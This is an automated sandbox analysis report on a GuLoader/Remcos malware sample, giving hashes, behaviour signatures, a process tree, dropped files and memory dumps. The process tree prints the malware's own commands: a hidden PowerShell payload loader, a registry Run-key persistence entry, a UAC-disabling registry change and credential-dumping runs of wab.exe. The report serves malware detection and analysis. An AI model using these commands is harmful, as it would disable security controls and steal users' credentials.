Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-07-2024 11:11

General

  • Target

    MalwareBazaar.exe

  • Size

    387KB

  • MD5

    06e45d2db3c52517fc7139b3b32a4742

  • SHA1

    602ab4e85c1506af02d51e144298bac3aea331ca

  • SHA256

    9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f

  • SHA512

    32e1131c14136721d872ea13736fe7041d8d7e09a1efac363a4bc1d29a9bcd4fcfc8e523cf689386a7e8fe67100194211a1ea9934f7fde5f241df77adcdb61bd

  • SSDEEP

    12288:3GqS6hqE06uAyNOcSN6dJjfJ1mPaxm5Bj3O9X:3GqS6hb0Kd4FBcixmBje9

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • UAC bypass 3 TTPs 1 IoCs
  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe
    "C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4400
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Metabolizable=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Emptyhanded.Sla139';$Kumpan=$Metabolizable.SubString(7195,3);.$Kumpan($Metabolizable)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4388
      • C:\Program Files (x86)\windows mail\wab.exe
        "C:\Program Files (x86)\windows mail\wab.exe"
        3⤵
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1784
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Grshoppens% -windowstyle minimized $nedstemmes=(Get-ItemProperty -Path 'HKCU:\Ufrugtbarhedens\').quadricapsular;%Grshoppens% ($nedstemmes)"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2656
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Grshoppens% -windowstyle minimized $nedstemmes=(Get-ItemProperty -Path 'HKCU:\Ufrugtbarhedens\').quadricapsular;%Grshoppens% ($nedstemmes)"
            5⤵
            • Adds Run key to start application
            • Modifies registry key
            PID:3496
        • C:\Windows\SysWOW64\cmd.exe
          /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:896
          • C:\Windows\SysWOW64\reg.exe
            C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
            5⤵
            • UAC bypass
            • Modifies registry key
            PID:4616
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\wlbajicggjhdvpqkjgfsqomgqjtmp"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4116
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\hfptjamzurzhxweosrrutbhxrqdnqnxy"
          4⤵
          • Accesses Microsoft Outlook accounts
          PID:776
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\rhul"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2956

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\remcos\logs.dat

    Filesize

    144B

    MD5

    b8106f495ecb8e1a54dc765f9b78ac30

    SHA1

    8e2d77b515e16dba8fa67103952aadbb56069883

    SHA256

    cd6a44f81a261fdc4d4f5a61dae4c046b02cd23f1e08b9671f5870364824953b

    SHA512

    240751ece330f8fcdb078e134d9b231e01d9e238de928d4b57727eea371b78775426cd09bbd6884145ef48ea7e37741655377215467a5a215c4460338e810b2c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lo5mpwdw.bsu.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\wlbajicggjhdvpqkjgfsqomgqjtmp

    Filesize

    4KB

    MD5

    f5c7d652e408753fba07ef2069ab8a13

    SHA1

    9815cd1ae93306cdacabf573ad54f1ef970b3913

    SHA256

    6734744077bca26577abb89d0b811bef713c2a97e7fcc70888d4990d500fa67a

    SHA512

    43570265f839d5e435c83052501c24ed182bda5a3a9db0f6eb519c251af85dafa10825a3995c66e1e88a7bcbcf9c7dcbbd2f24d661c05b7f20f5aa35f536bc80

  • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Emptyhanded.Sla139

    Filesize

    65KB

    MD5

    67cb075314762a89035c6b2b15c68f00

    SHA1

    382134aa018f620cdfbab89a67ae7c10b22e8547

    SHA256

    a853d35e1301ceef0526d96852cf8ed766c3d9f04bc5a7b49522b02d1b4302ea

    SHA512

    5677a3b68f751f9cb252d45aa35f4609fe0f81c734b3ed44ddb2acd8e017c371027841892f61a7aa71debe950b2b7ea05ecdbfe577130c69a8d74c74cbaf4190

  • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Varmevrkernes160.Ove

    Filesize

    325KB

    MD5

    b9207704502bf9bc8956ea19f761c559

    SHA1

    dee462bb9bff33881c21ce2f8615a222cbb28aa2

    SHA256

    ea7565fe3b1b2fa90145b41406c2b175846785ba1be2d0248030dedbdd4aec6f

    SHA512

    cba66f601051aaee865574f94996c480873017195c122d750f7355a777359ec0ba05b5f786c88753c7e3b87a01daeae82edba1d3a799e09e28f7ef8bc1f6d704

  • memory/776-65-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/776-75-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/776-68-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1784-78-0x00000000221B0000-0x00000000221C9000-memory.dmp

    Filesize

    100KB

  • memory/1784-62-0x0000000002060000-0x0000000006189000-memory.dmp

    Filesize

    65.2MB

  • memory/1784-47-0x0000000077A01000-0x0000000077B21000-memory.dmp

    Filesize

    1.1MB

  • memory/1784-48-0x0000000077A88000-0x0000000077A89000-memory.dmp

    Filesize

    4KB

  • memory/1784-86-0x0000000077A01000-0x0000000077B21000-memory.dmp

    Filesize

    1.1MB

  • memory/1784-61-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/1784-82-0x00000000221B0000-0x00000000221C9000-memory.dmp

    Filesize

    100KB

  • memory/1784-81-0x00000000221B0000-0x00000000221C9000-memory.dmp

    Filesize

    100KB

  • memory/2956-70-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/2956-67-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/2956-71-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4116-64-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4116-69-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4116-66-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4388-28-0x0000000006450000-0x00000000064E6000-memory.dmp

    Filesize

    600KB

  • memory/4388-30-0x0000000006ED0000-0x0000000006EF2000-memory.dmp

    Filesize

    136KB

  • memory/4388-41-0x0000000073FBE000-0x0000000073FBF000-memory.dmp

    Filesize

    4KB

  • memory/4388-44-0x0000000073FB0000-0x0000000074760000-memory.dmp

    Filesize

    7.7MB

  • memory/4388-45-0x0000000073FB0000-0x0000000074760000-memory.dmp

    Filesize

    7.7MB

  • memory/4388-46-0x0000000073FB0000-0x0000000074760000-memory.dmp

    Filesize

    7.7MB

  • memory/4388-40-0x0000000008760000-0x000000000C889000-memory.dmp

    Filesize

    65.2MB

  • memory/4388-39-0x0000000073FB0000-0x0000000074760000-memory.dmp

    Filesize

    7.7MB

  • memory/4388-37-0x0000000073FB0000-0x0000000074760000-memory.dmp

    Filesize

    7.7MB

  • memory/4388-36-0x0000000073FB0000-0x0000000074760000-memory.dmp

    Filesize

    7.7MB

  • memory/4388-35-0x0000000073FB0000-0x0000000074760000-memory.dmp

    Filesize

    7.7MB

  • memory/4388-33-0x00000000080E0000-0x000000000875A000-memory.dmp

    Filesize

    6.5MB

  • memory/4388-31-0x00000000074B0000-0x0000000007A54000-memory.dmp

    Filesize

    5.6MB

  • memory/4388-42-0x0000000073FB0000-0x0000000074760000-memory.dmp

    Filesize

    7.7MB

  • memory/4388-29-0x0000000006400000-0x000000000641A000-memory.dmp

    Filesize

    104KB

  • memory/4388-9-0x0000000073FBE000-0x0000000073FBF000-memory.dmp

    Filesize

    4KB

  • memory/4388-27-0x0000000005F80000-0x0000000005FCC000-memory.dmp

    Filesize

    304KB

  • memory/4388-26-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

    Filesize

    120KB

  • memory/4388-21-0x0000000005930000-0x0000000005C84000-memory.dmp

    Filesize

    3.3MB

  • memory/4388-15-0x00000000058C0000-0x0000000005926000-memory.dmp

    Filesize

    408KB

  • memory/4388-14-0x0000000005850000-0x00000000058B6000-memory.dmp

    Filesize

    408KB

  • memory/4388-13-0x0000000004F20000-0x0000000004F42000-memory.dmp

    Filesize

    136KB

  • memory/4388-12-0x00000000050B0000-0x00000000056D8000-memory.dmp

    Filesize

    6.2MB

  • memory/4388-11-0x0000000073FB0000-0x0000000074760000-memory.dmp

    Filesize

    7.7MB

  • memory/4388-10-0x0000000004940000-0x0000000004976000-memory.dmp

    Filesize

    216KB